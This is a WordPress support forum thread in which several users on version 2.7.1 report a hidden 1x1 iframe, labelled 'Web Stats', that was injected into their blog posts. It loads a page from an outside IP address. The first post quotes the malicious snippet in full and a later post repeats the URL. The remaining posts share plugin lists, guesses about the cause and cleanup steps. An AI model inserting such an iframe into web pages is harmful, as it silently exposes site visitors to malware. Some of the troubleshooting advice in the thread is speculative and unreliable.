Posted 6 months ago #
Hi,
this code
code
<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats -->
code
was inserted in one of my posts?
Google got me multiple sites which the same problem
I am using WP 2.7.1
please advise what to do?
Try a forum search for hacked for info on what to do.
Posted 5 months ago #
Did anyone find out how this was happening? I have exactly the same thing - I run a couple of blogs and one of them has now had the Webstats code above entered twice into a single post each time.
My post gets modified by 'team' about a minute after the post goes live on the site. I have no username called 'team' on my site so have no idea where this has come from. All my plugins and my Wordpress is up-to-date. As far as I know, I have also locked my Wordpress down - anyone got any ideas how to track how this hack has happened?
BTW searching hacked isn't helping because I can't find any posts with a similar problem...
Any help & ideas gratefully received :)
Posted 5 months ago #
I have a copy of 2.7.1 that also got hit by this.
Posted 5 months ago #
I just got hacked with the same code, and I'm also on 2.7.1.
This happened to me with earlier versions, and it was a matter of manually removing the code from the database (using phpMyAdmin) and updating from 2.5 to 2.7.1. I *think* it is an "SQL injection", but not entirely sure how to fix the issue this time.
I'm going to create a new admin username, delete the "admin" user, and then change the names of the database tables (I'm using the default "wp_" prefix). Hopefully those steps will help prevent future hacks.
Meantime if anyone sees any other ideas, please post them!
Posted 5 months ago #
Same code, injected into the middle of some, but not all, new posts, also on 2.7.1, although recently updated from 2.5 and I wouldn't swear that it didn't start in 2.5
Posted 5 months ago #
couldn't it also be some sort of plugin?
Posted 5 months ago #
@pulmanomancer: I've only experienced this (as far as I know) in 2.7.1. Like you, it's not all posts - it's only happened twice so far and quite a few posts apart.
@cocaman: Yes, it is entirely possible it's one of the plugins I run. I have quite a few running but all are fairly popular plugins. Although I actually have a couple of blogs all running pretty much identical plugins and only one of my blogs has been affected (*touch wood*).
Posted 5 months ago #
I'm having the same problem. I hope someone shed some light on how to stop this happening.
Posted 5 months ago #
I think the list of used Plugins can help the developer team and speed up the tracking process.
Posted 5 months ago #
@nyirocsaba: Great idea.
These are the plugins on my site. Maybe if we can all say yay/nay on each of the plugins below we can see if there's a common theme between us all?
Wordpress 2.7.1
Akismet 2.2.4
All in One SEO Pack 1.5.1
AutoMeta 0.9
Breadcrumb Navigation XT 1.10.1
Category Widget Cloud 1.7
Category tagging 2.3
Collapsing Category MEnus 0.1
Democracy 2.0.1
Democracy Widget 2.0.1
Fancy Excerpt 2.9
Google Analytics 0.65
Landing Sites 1.4.1
Maintenance Mode 4.3
Most Commented 1.5.1
Optimal Title 3.0
Popularity Contest 1.3b3
Post Teaser 3.11.3
Related Posts 2.0.4
Search Meter 2.5
SEO Friendly Images 2.4.2
Simple Tags 1.6.6
Sociable 3.2.3
Wordpress.com Stats 1.4
Wordpress Database Backup 2.2.2
WP-ContactForm 2.0.7
WP-Cumulus 1.21
WP Page Numbers 0.2
XSD Snapr 1.51
Posted 5 months ago #
Akismet 2.2.4
Embed Iframe 1.0
Thumbnail Viewer 1.2
Posted 5 months ago #
also you should search in admin area for posts with "iframe"
"noscript", "Traffic Statistics"
http://groups.google.com/group/stopbadware/browse_thread/thread/777d1477f03cd643
we also should search for weird users in admin area, also suspects are the theme files
My guts tell me that you are infected with an older version of wordpress
and now you have an rogue user even after upgrade
but it could be an exploit in wordpress too
Posted 5 months ago #
I did have weird users when I first noticed, but after deleting all of them and changing the password on the admin account, I've gotten at least one more.
The only active plugin I have is akismet
The theme I use is custom, and has been there for two years without problem (until recently).
Posted 5 months ago #
To add to my plugin post, I have no users in the system other than me.
Posted 5 months ago #
Don't think it is a user issue for me either. I have two users registered, both of which are fine. New users cannot register on the site.
My theme is custom - I'm using WP-Glory.
Posted 5 months ago #
Haven't had a new insertion in the last week.
Posted 5 months ago #
Haven't had a new insertion in the last week.
Last time for me it was over a month & 30 posts apart between the insertions.
It will be interesting to see if anyone gets the same problem with Wordpress 2.8.
I still have no idea how it happened. I am wondering if someone hacked my password both times, even though I changed the password between insertions. I'll hold my hands up and say it's not the strongest password that I could make up, however it isn't exactly simple either.
Posted 5 months ago #
Guys,
I had no injection of code anymore since:
renaming the names of the database tables
changing admin password
I am using 2 plugins to monitor this:
WordPress Exploit Scanner
WP Security Scan
Some injections were deleted with: Delete-Revision (cause the code was not only in the post but also on the automatic saves)
Posted 2 months ago #
I've had exactly this as well. It took me a while to find this thread but anyway. I was using WP 2.7.1 also when it happened to me. The thing was I didn't realise what was going on for a very long time. I was getting reports that the WP page was blocked for malicious content, but I didn't realise the page was just trying to pull from an external ip address until i checked the page source. My site is hosted, and I wrongly assumed that 74.222.134.170 was the ip address of the hosted server. I'd been hit by a major bit of hacking on my website a few months ago, and thought that maybe the warning message was from an old index. Anyway… I can safely say that changing the wp_ prefix won't help prevent this as mine had already been changed.
Thanks for the tip about the 2 security plugins, I've just installed them both.
Google http://74.222.134.170/stats.php?id=2 and it looks like a lot of sites have been hit by this.
You must log in to post.
